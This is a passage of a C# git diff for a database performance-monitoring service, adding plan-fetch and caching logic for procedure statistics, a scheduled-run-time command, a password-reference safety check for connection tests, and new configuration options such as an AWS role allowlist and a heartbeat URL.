+    }
+
+    /// <summary>
+    /// #5449: procedure_stats' plan phase. Runs one second target query for the first
+    /// <see cref="ProcedureStatsCollector.MaxPlansPerRun"/> kept rows with a parsable plan handle, on the main read's
+    /// connection and inside its budget, and merges each row's plan and identity onto it. Closes the main reader first (one
+    /// command at a time on the connection), as the deferred fetch does. A failed query ships every row without plans and
+    /// marks them all skipped, so the reuse pass counts no miss and caches nothing; the plans are fetched again next
+    /// cycle. A stop or the item budget expiring is not a phase failure and propagates. Returns the phase's milliseconds,
+    /// 0 when no query ran.
+    /// </summary>
+    internal async Task<long> RunProcedureStatsPlanPhaseAsync(
+        ITargetProvider provider,
+        DbDataReader mainReader,
+        DbConnection targetConnection,
+        ServerRuntime server,
+        CollectorContext context,
+        List<ProcedureStatsCollector.Row> rows,
+        CancellationToken cancellationToken)
+    {
+        var indexes = ProcedureStatsCollector.SelectPlanPhaseRows(rows, out var handles);
+        if (indexes.Count == 0)
+        {
+            ProcedureStatsCollector.ApplyPlanPhase(rows, indexes, new Dictionary<int, ProcedureStatsCollector.PlanPhaseResult>());
+            return 0;
+        }
+
+        await mainReader.CloseAsync();
+        var watch = Stopwatch.StartNew();
+        Dictionary<int, ProcedureStatsCollector.PlanPhaseResult>? results = null;
+        try
+        {
+            var query = ProcedureStatsCollector.BuildPlanPhaseQuery(context, handles);
+            using var command = CreateCollectorCommand(provider, query, targetConnection, CommandTimeoutSeconds);
+            using var phaseReader = await command.ExecuteReaderAsync(cancellationToken);
+            results = await ProcedureStatsCollector.ReadPlanPhaseAsync(phaseReader, context, cancellationToken);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException and not OutOfMemoryException
+                                   && !cancellationToken.IsCancellationRequested)
+        {
+            _logger?.LogWarning(
+                ex,
+                "{Collector} on '{Server}': the plan query failed, so this run's rows ship without plans; they are fetched again next cycle (#5449).",
+                ProcedureStatsCollector.Instance.Name, server.Config.DisplayName);
+        }
+
+        ProcedureStatsCollector.ApplyPlanPhase(rows, indexes, results);
+        return Math.Max(1L, watch.ElapsedMilliseconds);
+    }
+
+    /// <summary>
+    /// #5449: Off mode renders plans in the plan phase and has no reuse pass, so the run stamps what the phase rendered
+    /// (the rows that carry a plan or a size) and how long it took. A phase that failed leaves no row with a plan, so the
+    /// stamp reads zero rendered rows and still records the phase's milliseconds.
+    /// </summary>
+    internal static void StampProcedureStatsOffPlanPhase(
+        CollectorContext context, List<ProcedureStatsCollector.Row> rows, long planPhaseMs)
+    {
+        var renderedRows = 0;
+        long renderedBytes = 0;
+        foreach (var row in rows)
+        {
+            if (row.QueryPlanXml is not null || row.QueryPlanXmlBytes is not null)
+            {
+                renderedRows++;
+                renderedBytes += row.QueryPlanXmlBytes ?? 0;
+            }
+        }
+
+        StampPlanFetch(context, renderedRows, renderedBytes, planPhaseMs);
+    }
+
+    /// <summary>The cache a server's procedure_stats runs have filled so far, for a test to confirm and inspect.</summary>
+    internal PlanDigestCache<ProcedureStatsPlanKey>? ProcedureStatsPlanCacheForTests(int serverId) =>
+        _procedureStatsPlanCaches.TryGetValue(serverId, out var cache) ? cache : null;
+
+    /// <summary>
+    /// #5158: procedure_stats' plan reuse, after the main read. In shadow the rows already carry their inline plans (from the #5449 plan phase), and
+    /// this only measures whether each module plan's identity (<see cref="ProcedureStatsPlanKey"/>) would have been
+    /// recognized and right; nothing written changes. In on the rows carry no plan: recognized identities get their stored
+    /// digest, and on a cycle the cadence gate lets render, the others are rendered in one second query on this same
+    /// connection, inside the same wall-clock budget, at most <see cref="ProcedureStatsPlanReuse.MaxMissesPerRun"/>.
+    ///
+    /// <para>What this pass counts goes into the run's collection-log note beside <c>plans_rendered</c>:
+    /// <c>deferred_would_hit</c>, <c>deferred_false_hit</c> (the plan's shape changed, or could not be compared; split into <c>deferred_false_hit_shape</c>,
+    /// <c>_no_shape</c>, <c>_over_cap</c> and <c>_unparsed</c>, which sum to it), <c>deferred_same_shape</c> (the shape held; in the field
+    /// only the memory grant moved) and <c>deferred_miss</c> in shadow, <c>deferred_hit</c> and
+    /// <c>deferred_miss</c> in on. A failed second query ships the rows it covered without plans, caches nothing, and does
+    /// not fail the run. Returns the keys to confirm after the batch commits, or discard.</para>
+    /// </summary>
+    internal async Task<List<ProcedureStatsPlanKey>> ApplyProcedureStatsPlanReuseAsync(
+        ITargetProvider provider,
+        DbConnection targetConnection,
+        ServerRuntime server,
+        CollectorContext context,
+        List<ProcedureStatsCollector.Row> rows,
+        ProcedureStatsPlanFetchMode mode,
+        CancellationToken cancellationToken,
+        long planPhaseMs = 0)
+    {
+        var cache = _procedureStatsPlanCaches.GetOrAdd(server.ServerId, static _ => new PlanDigestCache<ProcedureStatsPlanKey>());
+        if (_procedureStatsPlanCacheModes.TryGetValue(server.ServerId, out var cachedUnderMode) && cachedUnderMode != mode)
+        {
+            cache.Clear();
+        }
+
+        _procedureStatsPlanCacheModes[server.ServerId] = mode;
+
+        var now = DateTime.UtcNow;
+        cache.Prune(now - ProcedureStatsPlanCacheMaxAge);
+
+        /* The mode the run was STAMPED with, passed in; never re-resolved from the live knob or capture setting. */
+        var shadow = mode == ProcedureStatsPlanFetchMode.Shadow;
+        var captureOrdinal = context.CapturePlanXml
+            ? _procedureStatsCaptureOrdinals.AddOrUpdate(server.ServerId, 1L, static (_, previous) => previous + 1)
+            : _procedureStatsCaptureOrdinals.GetOrAdd(server.ServerId, 0L);
+
+        ProcedureStatsPlanReuse.Outcome outcome;
+        /* #5449: the plan phase's own time is part of the run's plan time, in every mode. */
+        long fetchMs = planPhaseMs;
+        if (shadow)
+        {
+            outcome = ProcedureStatsPlanReuse.ApplyShadow(
+                server.ServerId, cache, rows, captureOrdinal, now,
+                (key, cause) => _logger?.LogWarning(
+                    "procedure_stats on server {ServerId}: a plan identity the cache recognized rendered a different plan this run (a false hit): {Key}. Why: {Reason} (#5158).",
+                    server.ServerId, key, ProcedureStatsPlanReuse.DescribeFalseHit(cause)));
+        }
+        else
+        {
+            if (BetweenPlanPhasesForTests is { } hook)
+            {
+                await hook(cancellationToken);
+            }
+
+            var fetchWatch = Stopwatch.StartNew();
+            var unjudgedOrdinals = new HashSet<int>();
+            outcome = await ProcedureStatsPlanReuse.ApplyOnAsync(
+                server.ServerId, cache, rows, context.CapturePlanXml, captureOrdinal, now,
+                async (handles, token) =>
+                {
+                    var query = ProcedureStatsCollector.BuildPlanFetchQuery(context, handles);
+                    using var command = CreateCollectorCommand(provider, query, targetConnection, CommandTimeoutSeconds);
+                    using var planReader = await command.ExecuteReaderAsync(token);
+                    return await QueryStatsCollector.ReadPlanFetchAsync(planReader, context.BeginStatementScrub(), token, unjudgedOrdinals);
+                },
+                cancellationToken,
+                unjudgedOrdinals);
+            fetchWatch.Stop();
+            fetchMs += fetchWatch.ElapsedMilliseconds;
+
+            if (outcome.FetchFailure is { } failure)
+            {
+                _logger?.LogWarning(
+                    failure,
+                    "{Collector} on '{Server}': the plan fetch failed, so this run's rows ship without plans for the plans not yet stored; they are fetched again next cycle (#5158).",
+                    ProcedureStatsCollector.Instance.Name, server.Config.DisplayName);
+            }
+        }
+
+        /* The same seam query_stats uses, so plans_rendered, plans_rendered_bytes and plan_fetch_ms come from one stamp.
+           Shadow issues no further query after the plan phase, so its fetch time is the plan phase's. */
+        StampPlanFetch(context, outcome.Rendered, outcome.RenderedBytes, fetchMs);
+        if (shadow)
+        {
+            context.Measure("deferred_would_hit", outcome.WouldHit);
+            context.Measure("deferred_false_hit", outcome.FalseHit);
+            context.Measure("deferred_false_hit_shape", outcome.FalseHitShape);
+            context.Measure("deferred_false_hit_no_shape", outcome.FalseHitNoShape);
+            context.Measure("deferred_false_hit_over_cap", outcome.FalseHitOverCap);
+            context.Measure("deferred_false_hit_unparsed", outcome.FalseHitUnparsed);
+            context.Measure("deferred_same_shape", outcome.SameShape);
+        }
+        else
+        {
+            context.Measure("deferred_hit", outcome.Hit);
+            context.Measure("deferred_over_cap", outcome.OverCap);
+        }
+
+        context.Measure("deferred_miss", outcome.Miss);
+
+        _logger?.LogInformation(
+            "procedure_stats on server {ServerId} ({Mode}, {Cycle} cycle): deferred: {Counters} rendered={Rendered}.",
+            server.ServerId,
+            shadow ? "shadow" : "on",
+            context.CapturePlanXml ? "capture" : "gated",
+            shadow
+                ? $"would_hit={outcome.WouldHit} false_hit={outcome.FalseHit} (shape={outcome.FalseHitShape} no_shape={outcome.FalseHitNoShape} over_cap={outcome.FalseHitOverCap} unparsed={outcome.FalseHitUnparsed}) same_shape={outcome.SameShape} miss={outcome.Miss}"
+                : $"hit={outcome.Hit} miss={outcome.Miss} over_cap={outcome.OverCap}",
+            outcome.Rendered);
+
+        return outcome.Pending;
+    }
+
     /// <summary>
     /// The connection for a collector that reads the server as a whole — engine-resolved from the probed
     /// target, never constructed directly.
@@ -6675,11 +7687,11 @@ internal async Task<SqlConnection> OpenAzureDatabaseConnectionAsync(ServerRuntim
     /// A test that opens nothing and only checks the returned TYPE is enough to catch it, which is why it is
     /// worth having.</para>
     /// </summary>
-    internal static DbConnection CreateTargetConnection(ServerRuntime server)
+    internal static DbConnection CreateTargetConnection(ServerRuntime server, ITargetProvider? provider = null)
     {
         ArgumentNullException.ThrowIfNull(server);
 
-        return TargetProviders.For(server.Target).CreateConnection(server.ConnectionString);
+        return (provider ?? TargetProviders.For(server.Target)).CreateConnection(server.ConnectionString);
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs
index 21d4174844..1a79c1fa1c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingCommandExecutor.cs
@@ -15,6 +15,7 @@
 using Npgsql;
 using NpgsqlTypes;
 using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service;
 
@@ -265,6 +266,14 @@ private async Task<CommandOutcome> RunAsync(ClaimedCommand command, Cancellation
                     return new CommandOutcome(false, "invalid args_json", ErrorJson("test_connect args_json did not deserialize to a server definition"));
                 }
 
+                /* The test resolves a reference only for the server that already stores it, with the settings it stores it
+                   for. Asked BEFORE the probe, so a refused test resolves nothing and connects to nothing. */
+                if (await TestConnectReferenceRefusalAsync(server, StoredSettingsOfReferenceAsync, cancellationToken) is { } refusal)
+                {
+                    _logger?.LogInformation("Command {Id} (test_connect '{Server}') => refused", command.CommandId, server.DisplayName);
+                    return new CommandOutcome(false, "refused", ErrorJson(refusal));
+                }
+
                 var probe = await DarlingServerConnector.ProbeAsync(server, _logger, cancellationToken);
                 var (resultStatus, resultJson) = MapProbeResult(probe);
                 _logger?.LogInformation("Command {Id} (test_connect '{Server}') => {Result}", command.CommandId, server.DisplayName, resultStatus);
@@ -380,6 +389,9 @@ internal static CommandPlan ResolvePlan(ClaimedCommand command)
             case "disable_collector":
                 return ResolveCollectorToggle(command, enabled: false);
 
+            case "set_collector_run_at":
+                return ResolveCollectorRunAt(command);
+
             case "test_connect":
                 return string.IsNullOrWhiteSpace(command.ArgsJson)
                     ? Fail("test_connect requires args_json with the server definition")
@@ -483,11 +495,15 @@ private static CommandPlan ResolveCollectorToggle(ClaimedCommand command, bool e
             return Fail($"{verb} requires args_json.collector_name");
         }
 
-        if (!CollectorScheduleDefaults.All.ContainsKey(collectorName))
+        /* The catalog's own spelling is what gets bound: the table's unique indexes compare the name exactly, so a typed
+           'Wait_Stats' would become a second row beside the viewer's 'wait_stats'. */
+        if (DarlingCliCommands.CanonicalCollectorName(collectorName) is not string canonical)
         {
             return Fail($"{verb}: unknown collector '{collectorName}'");
         }
 
+        collectorName = canonical;
+
         var flag = enabled ? "TRUE" : "FALSE";
         var successStatus = enabled ? "collector enabled" : "collector disabled";
         var serverId = command.TargetServerId ?? TryReadInt(command.ArgsJson, "server_id", "serverId");
@@ -506,6 +522,93 @@ private static CommandPlan ResolveCollectorToggle(ClaimedCommand command, bool e
             new object?[] { collectorName }, successStatus + " (fleet-wide)");
     }
 
+    /// <summary>
+    /// set_collector_run_at -> set or clear the time of day a once-a-day collector runs (a row of
+    /// <c>config.config_collector_run_times</c>, #4938) for the collector named in args_json.collector_name, scoped the way
+    /// <see cref="ResolveCollectorToggle"/> scopes it: <c>target_server_id</c>, else args_json.server_id, else the fleet-wide row.
+    /// args_json.run_at is a 24-hour <c>HH:MM</c> (the monitored server's own clock), <c>none</c> or <c>default</c>, in any letter case.
+    ///
+    /// <para>The run time has a table of its own, because the viewer's schedule Save deletes a scope's rows in
+    /// <c>config_collector_schedules</c> and inserts them again with a fixed column list, which would clear a run time kept on
+    /// those rows. So the plan never touches the schedule rows: a frequency, retention, databases or enabled value already on
+    /// one is neither read nor written, and a time set on a collector that has no schedule row creates none, so it cannot switch
+    /// a collector on or off (a collector that ships OFF stays off).</para>
+    ///
+    /// <para>A time, or <c>none</c> on a server, is one plain INSERT ... ON CONFLICT DO UPDATE of the scope's row; the table's
+    /// own statement-level trigger bumps <c>config_version</c>, so a running service reloads. <c>none</c> on a server writes -1,
+    /// which the service reads as "no fixed time on this server" and which stops the fleet's time for that server only.
+    /// On the fleet it deletes the fleet row, because the fleet has no time to stop (the table's CHECK refuses -1 there).
+    /// <c>default</c> deletes the scope's row so the next level applies again. A delete of a row that is not there changes
+    /// nothing.</para>
+    ///
+    /// <para>The interval rule (a time works only on a collector that runs once a day or less often) is not applied here, because
+    /// this plan is pure and cannot see the rows that decide a collector's interval. The CLI verb judges it against the store
+    /// before it executes this plan, and the service ignores a time on a collector that runs more often than daily.</para>
+    /// </summary>
+    private static CommandPlan ResolveCollectorRunAt(ClaimedCommand command)
+    {
+        const string Verb = "set_collector_run_at";
+        var collectorName = TryReadString(command.ArgsJson, "collector_name", "collectorName");
+        if (string.IsNullOrWhiteSpace(collectorName))
+        {
+            return Fail($"{Verb} requires args_json.collector_name");
+        }
+
+        /* The catalog's own spelling is what gets bound: the table's unique indexes compare the name exactly, so a typed
+           'Wait_Stats' would become a second row beside the viewer's 'wait_stats'. */
+        if (DarlingCliCommands.CanonicalCollectorName(collectorName) is not string canonical)
+        {
+            return Fail($"{Verb}: unknown collector '{collectorName}'");
+        }
+
+        collectorName = canonical;
+
+        var runAt = TryReadString(command.ArgsJson, "run_at", "runAt");
+        if (runAt is null)
+        {
+            return Fail($"{Verb} requires args_json.run_at (HH:MM, none or default)");
+        }
+
+        var word = runAt.Trim();
+        var useDefault = string.Equals(word, "default", StringComparison.OrdinalIgnoreCase);
+        var none = string.Equals(word, "none", StringComparison.OrdinalIgnoreCase);
+        var minute = 0;
+        if (!useDefault && !none && !CollectorRunTime.TryParse(runAt, out minute))
+        {
+            return Fail(CollectorRunTime.InvalidRunAtMessage);
+        }
+
+        var serverId = command.TargetServerId ?? TryReadInt(command.ArgsJson, "server_id", "serverId");
+
+        if (useDefault || (none && serverId is null))
+        {
+            var cleared = "collector run time cleared";
+            return serverId is int clearedId
+                ? StoreWrite(
+                    "DELETE FROM config.config_collector_run_times WHERE server_id = $1 AND collector_name = $2",
+                    new object?[] { clearedId, collectorName }, cleared)
+                : StoreWrite(
+                    "DELETE FROM config.config_collector_run_times WHERE server_id IS NULL AND collector_name = $1",
+                    new object?[] { collectorName }, cleared + " (fleet-wide)");
+        }
+
+        /* The stored value is a smallint (V160): -1 for "none" on a server, else the minute after midnight. Boxed as a
+           short so it binds as smallint and the plan's parameters say what the column holds. */
+        var stored = none ? (short)-1 : (short)minute;
+        if (serverId is int scopedId)
+        {
+            return StoreWrite(
+                "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES ($1, $2, $3) " +
+                "ON CONFLICT (server_id, collector_name) WHERE server_id IS NOT NULL DO UPDATE SET run_at_minute = EXCLUDED.run_at_minute",
+                new object?[] { scopedId, collectorName, stored }, "collector run time set");
+        }
+
+        return StoreWrite(
+            "INSERT INTO config.config_collector_run_times (server_id, collector_name, run_at_minute) VALUES (NULL, $1, $2) " +
+            "ON CONFLICT (collector_name) WHERE server_id IS NULL DO UPDATE SET run_at_minute = EXCLUDED.run_at_minute",
+            new object?[] { collectorName, stored }, "collector run time set (fleet-wide)");
+    }
+
     /// <summary>test_connect result mapping (pure): success carries the probe facts, failure the error.</summary>
     internal static (string ResultStatus, string ResultJson) MapProbeResult(ConnectionProbeResult probe)
     {
@@ -590,6 +693,79 @@ in_progress and a later reader can see it never terminated. */
         }
     }
 
+    /// <summary>What a <c>test_connect</c> answers when its password is a reference to a server that is not stored with
+    /// these connection settings: the plain ask for the password, with no value in it.</summary>
+    internal const string TestConnectPasswordNeededText =
+        "Enter the password again to test this server at a different address or with different connection settings: its stored password is only used for the server as it was saved.";
+
+    /// <summary>
+    /// PURE over the one store read it is given: null when a <c>test_connect</c> may go on to resolve its credential,
+    /// otherwise the sentence to answer with, before anything is resolved. A password typed as itself is not asked
+    /// about. A reference (<see cref="DarlingSecretSource.IsReference"/>, the resolver's own question) is let through only
+    /// when a stored server holds that exact text AND matches the test on every connection setting the edit core
+    /// compares (<see cref="ServerConnectionIdentity.Differ"/>:
+    /// host and instance, port, engine, database, read-only intent, auth, username, encrypt mode, certificate trust,
+    /// multi-subnet failover), so the stored password is never used anywhere else or with other trust settings. The plain
+    /// <c>password</c> slot never carries a reference from a command; no stored server has one.
+    /// </summary>
+    internal static async Task<string?> TestConnectReferenceRefusalAsync(
+        MonitoredServer server,
+        Func<string, CancellationToken, Task<IReadOnlyList<ServerConnectionIdentity>>> storedSettingsOfReference,
+        CancellationToken cancellationToken)
+    {
+        if (DarlingSecretSource.RequestReferenceRefusal(server.Password) is { } plainSlotRefusal)
+        {
+            return plainSlotRefusal;
+        }
+
+        var reference = server.EncryptedPassword;
+        if (!DarlingSecretSource.IsReference(reference))
+        {
+            return null;
+        }
+
+        /* The tested settings with the defaults a command's blank fields mean (SQL Server, integrated authentication,
+           mandatory encryption), read through the one mapping every stored row is read through. */
+        var tested = ServerConnectionIdentity.FromStoredColumns(
+            server.Host, server.Port, server.Engine ?? "sqlserver", server.Database, server.ReadOnlyIntent,
+            server.Auth ?? "integrated", server.Username, server.EncryptMode ?? "Mandatory", server.TrustServerCertificate,
+            server.MultiSubnetFailover);
+        foreach (var stored in await storedSettingsOfReference(reference!, cancellationToken))
+        {
+            if (!ServerConnectionIdentity.Differ(tested, stored))
+            {
+                return null;
+            }
+        }
+
+        return TestConnectPasswordNeededText;
+    }
+
+    /// <summary>The connection settings of every stored server that holds exactly this reference text.</summary>
+    private async Task<IReadOnlyList<ServerConnectionIdentity>> StoredSettingsOfReferenceAsync(string reference, CancellationToken cancellationToken)
+    {
+        var found = new List<ServerConnectionIdentity>();
+        await using var command = _postgres.CreateCommand(
+            "SELECT " + ServerConnectionIdentity.StoredColumns + " " +
+            "FROM config.config_monitored_servers WHERE encrypted_password = $1");
+        command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Text, Value = reference });
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        while (await reader.ReadAsync(cancellationToken))
+        {
+            /* The one raw-row mapping; a NULL engine is SQL Server and a NULL authentication is integrated, as a test's
+               own blank fields are read above. */
+            found.Add(ServerConnectionIdentity.FromStoredColumns(
+                reader.GetString(0), reader.IsDBNull(1) ? null : reader.GetInt32(1),
+                reader.IsDBNull(2) ? "sqlserver" : reader.GetString(2), reader.IsDBNull(3) ? null : reader.GetString(3),
+                !reader.IsDBNull(4) && reader.GetBoolean(4), reader.IsDBNull(5) ? "integrated" : reader.GetString(5),
+                reader.IsDBNull(6) ? null : reader.GetString(6), reader.IsDBNull(7) ? "Mandatory" : reader.GetString(7),
+                !reader.IsDBNull(8) && reader.GetBoolean(8), !reader.IsDBNull(9) && reader.GetBoolean(9)));
+        }
+
+        return found;
+    }
+
+
     private static MonitoredServer? DeserializeServer(string argsJson)
     {
         try
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs
index f063d70174..38e22aa746 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs
@@ -56,6 +56,16 @@ public sealed class DarlingConfig
     [JsonPropertyName("servers")]
     public List<MonitoredServer> Servers { get; set; } = new();
 
+    /// <summary>
+    /// Which AWS roles the web and MCP may set for an Amazon RDS or Aurora target (#5452): IAM role ARNs, or 12-digit
+    /// AWS account ids that allow every role in the account (a bare id is an account in the <c>aws</c> partition;
+    /// <c>aws-cn:123456789012</c> and <c>aws-us-gov:123456789012</c> name the others). The service assumes a saved role only if it is listed
+    /// here or a <c>servers[]</c> entry in this file names it in <c>awsRoleArn</c>. Read at start, so an edit applies
+    /// on restart. Empty by default: only the roles the file's own servers name run.
+    /// </summary>
+    [JsonPropertyName("allowedAwsRoles")]
+    public List<string> AllowedAwsRoles { get; set; } = new();
+
     /// <summary>
     /// Capture execution-plan text. Default TRUE for Darling. Since #1767 a query_stats plan is
     /// stored ONCE per distinct plan in <c>query_plan_dim</c> and the fact row carries only its
@@ -196,7 +206,7 @@ public sealed class DarlingConfig
     ///
     /// <para>The cost paid is plan-data granularity: a captured plan is up to this many cycles old. 4 keeps
     /// the worst-case plan age inside the collector's own ten-minute <c>last_execution_time</c> candidate
-    /// window, so a module busy enough to reach the TOP (150) cut is still busy when its plan is next
+    /// window, so a module busy enough to be among the first MaxPlansPerRun (150) kept rows is still busy when its plan is next
     /// rendered. Runtime statistics are unaffected — they are collected at full resolution every cycle.</para>
     ///
     /// <para>A file-only knob (not seeded into the control-plane store), exactly like
@@ -207,6 +217,48 @@ public sealed class DarlingConfig
     [JsonPropertyName("procedureStatsPlanCycleInterval")]
     public int ProcedureStatsPlanCycleInterval { get; set; } = 4;
 
+    /// <summary>
+    /// #5158: whether <c>query_stats</c> fetches plan XML only for statement plans this host has not already
+    /// committed. On (the default), the main query carries no plan and a second target query renders just the
+    /// plans the host has not stored; rows for plans it has stored carry the existing digest, so every reader
+    /// sees what it saw before. Off restores the inline capture, which renders and ships every row's plan every run.
+    ///
+    /// <para><b>Why.</b> On one large store the inline capture rendered 54 GB of plan XML an hour on the monitored
+    /// servers and shipped 29 GB of it, against 1.1 GB an hour of distinct plans: about 47 times the plans there
+    /// are, and the reason the slowest <c>query_stats</c> runs are almost entirely time spent draining plan text.</para>
+    ///
+    /// <para>A file-only knob like <see cref="ProcedureStatsPlanCycleInterval"/>: an edit takes effect on the next
+    /// restart, and it needs no schema rung. Only meaningful while <see cref="CapturePlans"/> is on.</para>
+    /// </summary>
+    [JsonPropertyName("queryStatsDeferredPlanFetch")]
+    public bool QueryStatsDeferredPlanFetch { get; set; } = true;
+
+    /// <summary>
+    /// #5158: whether <c>procedure_stats</c> fetches plan XML only for module plans this host has not already
+    /// committed. <c>on</c> (the default since 3.10) skips the render for a recognized plan. <c>off</c> keeps the inline capture. <c>shadow</c> keeps the inline capture and every
+    /// stored row exactly as <c>off</c> writes it, and in addition recognizes each module plan by its identity (the
+    /// plan handle, its cached time and a fingerprint of its statements) and checks that identity against the plans
+    /// this host has committed, recording in the run's collection-log note how many it would have skipped and how
+    /// many of those the identity got wrong (<c>deferred_would_hit</c>, <c>deferred_false_hit</c> when the plan's shape changed;
+    /// a render whose shape held, in the field only the memory grant moved, counts as <c>deferred_same_shape</c>, not a false hit). <c>on</c> skips
+    /// the render for a recognized plan, sends its stored digest instead, and renders only the rest, at most 150 a run.
+    /// Set <c>off</c> to restore the inline capture.
+    /// An unrecognized value logs a warning and means <c>off</c>.
+    ///
+    /// <para><b>Why a shadow mode.</b> A module plan changes in place when one statement recompiles, with the same
+    /// plan handle and cached time, so an identity that missed that would send a stale plan's digest. Shadow measures
+    /// the identity against the plans it just rendered before <c>on</c> trusts it. The cadence of
+    /// <see cref="ProcedureStatsPlanCycleInterval"/> still decides which runs may render: an <c>on</c> run between
+    /// captures sends digests for recognized plans and renders nothing.</para>
+    ///
+    /// <para>A file-only knob like <see cref="QueryStatsDeferredPlanFetch"/>: an edit takes effect on the next restart,
+    /// and it needs no schema rung. Because it cannot change while the service runs, the plan cache starts empty under
+    /// whichever mode the service started in, so nothing needs clearing on a change. Only meaningful while
+    /// <see cref="CapturePlans"/> is on; Azure SQL Database stays <c>off</c> whatever this says.</para>
+    /// </summary>
+    [JsonPropertyName("procedureStatsDeferredPlanFetch")]
+    public string ProcedureStatsDeferredPlanFetch { get; set; } = "on";
+
     /// <summary>
     /// The shared alert engine's enabled flags and thresholds (Phase-5 slice D). Every default
     /// mirrors Lite's <c>App.*</c> alert defaults exactly, so an empty section alerts like a
@@ -304,6 +356,23 @@ public sealed class DarlingConfig
     [JsonPropertyName("peers")]
     public PeersConfig Peers { get; set; } = new();
 
+    /// <summary>
+    /// The outbound heartbeat (#5450): a GET to a dead-man's-switch URL while the service is collecting, so a check
+    /// outside the box alerts when the process stops or stops collecting. File-only like <see cref="Peers"/>, and its URL
+    /// is a secret that no read surface returns. Off unless <c>heartbeat.url</c> is set. See <see cref="HeartbeatConfig"/>.
+    /// </summary>
+    [JsonPropertyName("heartbeat")]
+    public HeartbeatConfig Heartbeat
+    {
+        get => _heartbeat;
+
+        /* "heartbeat": null means off, the same as an absent block (#5460): the JSON options here do not honor nullable
+           annotations, so a null would otherwise land in this property and fault the loop at shutdown. */
+        set => _heartbeat = value ?? new();
+    }
+
+    private HeartbeatConfig _heartbeat = new();
+
     public static string ResolveConfigPath(string? explicitPath = null)
     {
         if (!string.IsNullOrWhiteSpace(explicitPath))
@@ -320,6 +389,18 @@ public static string ResolveConfigPath(string? explicitPath = null)
         return Path.Combine(AppContext.BaseDirectory, "darling.json");
     }
 
+    /// <summary>Every env:/file: reference found in the deserialized config, exactly as written, captured
+    /// in <see cref="Parse"/> before any resolution. Feeds <see cref="DarlingOwnedSecrets"/>.</summary>
+    [JsonIgnore]
+    internal List<string> SecretReferencesAsWritten { get; set; } = new();
+
+    /// <summary>#5307: the paths (never the values) of keys under <c>web.network</c> and <c>mcp.network</c>, their
+    /// <c>tls</c> blocks and <c>web.network.oidc</c> that no config class declares, e.g. <c>mcp.network.ssl</c>,
+    /// found by <see cref="DarlingUnknownKeys"/> in <see cref="Parse"/>. Internal and <c>[JsonIgnore]</c>, so a
+    /// serialized config (the diagnostics bundle) never carries it.</summary>
+    [JsonIgnore]
+    internal List<string> UnknownNetworkKeys { get; set; } = new();
+
     public static DarlingConfig Load(string? explicitPath = null)
     {
         var path = ResolveConfigPath(explicitPath);
@@ -329,7 +410,9 @@ public static DarlingConfig Load(string? explicitPath = null)
                 $"Configuration file not found: {path}. Copy darling.sample.json to darling.json and edit it.", path);
         }
 
-        return Parse(File.ReadAllText(path));
+        var loaded = Parse(File.ReadAllText(path));
+        DarlingOwnedSecrets.Set(DarlingOwnedSecrets.Compute(loaded, path));
+        return loaded;
     }
 
     public static DarlingConfig Parse(string json)
@@ -340,6 +423,29 @@ public static DarlingConfig Parse(string json)
             throw new InvalidDataException("Configuration file parsed to null.");
         }
 
+        /* Capture every env:/file: reference AS WRITTEN, before the resolution below overwrites any slot
+           with the secret it points at. */
+        config.SecretReferencesAsWritten = DarlingOwnedSecrets.CollectReferences(config);
+        config.UnknownNetworkKeys = DarlingUnknownKeys.Find(json);
+
+        /* #5240: a reference in a server's own secret slot is one the file declares for that server, so the entry read from
+           the file may resolve it even when it is owned. The flags are set here and nowhere from a stored value. */
+        foreach (var server in config.Servers ?? new List<MonitoredServer>())
+        {
+            if (server is null)
+            {
+                continue;
+            }
+
+            server.EncryptedPasswordDeclaredByFile = DarlingSecrets.DeclaresSecretText(server.EncryptedPassword);
+            server.RemediationEncryptedPasswordDeclaredByFile = DarlingSecrets.DeclaresSecretText(server.RemediationEncryptedPassword);
+        }
+
+        if (config.Smtp is not null)
+        {
+            config.Smtp.EncryptedPasswordDeclaredByFile = DarlingSecrets.DeclaresSecretText(config.Smtp.EncryptedPassword);
+        }
+
         /* #1804: postgres.connectionString also takes an env:/file: reference — for the WHOLE string,
            since the password lives inside it and per-field indirection can't reach it. Resolved ONCE
            here at the parse seam so every consumer (worker, MCP/web hosts, CLI verbs) sees the real
@@ -406,7 +512,20 @@ public IReadOnlyList<string> Validate()
 
         /* Peer-disclosure problems are checked BEFORE the servers early-return so a broken peers block is
            reported even on a config that has no servers yet. */
+        /* The AWS role allowlist (#5452): an entry is a role ARN or a 12-digit account id. Fatal like the server
+           entries: a typo here would silently leave a role off the list. */
+        for (var i = 0; i < (AllowedAwsRoles?.Count ?? 0); i++)
+        {
+            var entryProblem = Targets.AwsRoleAllowlist.ValidateEntry(AllowedAwsRoles![i]);
+            if (entryProblem is not null)
+            {
+                problems.Add($"allowedAwsRoles[{i}]: {entryProblem}");
+            }
+        }
+
         problems.AddRange(PeersConfig.Validate(Peers));
+        /* #5450: the heartbeat block, for the same reason (a broken one is reported even with no servers yet). */
+        problems.AddRange(HeartbeatConfig.Validate(Heartbeat));
 
         if (Servers is null || Servers.Count == 0)
         {
@@ -470,6 +589,19 @@ service means the misconfiguration surfaces in a log after deployment instead of
             {
                 problems.Add($"{label}: port must be between 1 and 65535 (got {server.Port}).");
             }
+
+            /* The AWS role (#5452): each value's format, an external ID needs a role, and a role needs a
+               PostgreSQL target. The texts come from the one validator every surface shares. */
+            var awsRole = AwsRoleSettings.Normalize(server.AwsRoleArn);
+            var awsProblem = AwsRoleSettings.ValidatePair(awsRole, AwsRoleSettings.Normalize(server.AwsExternalId));
+            if (awsProblem is not null)
+            {
+                problems.Add($"{label}: {awsProblem}");
+            }
+            else if (awsRole is not null && !server.IsPostgres)
+            {
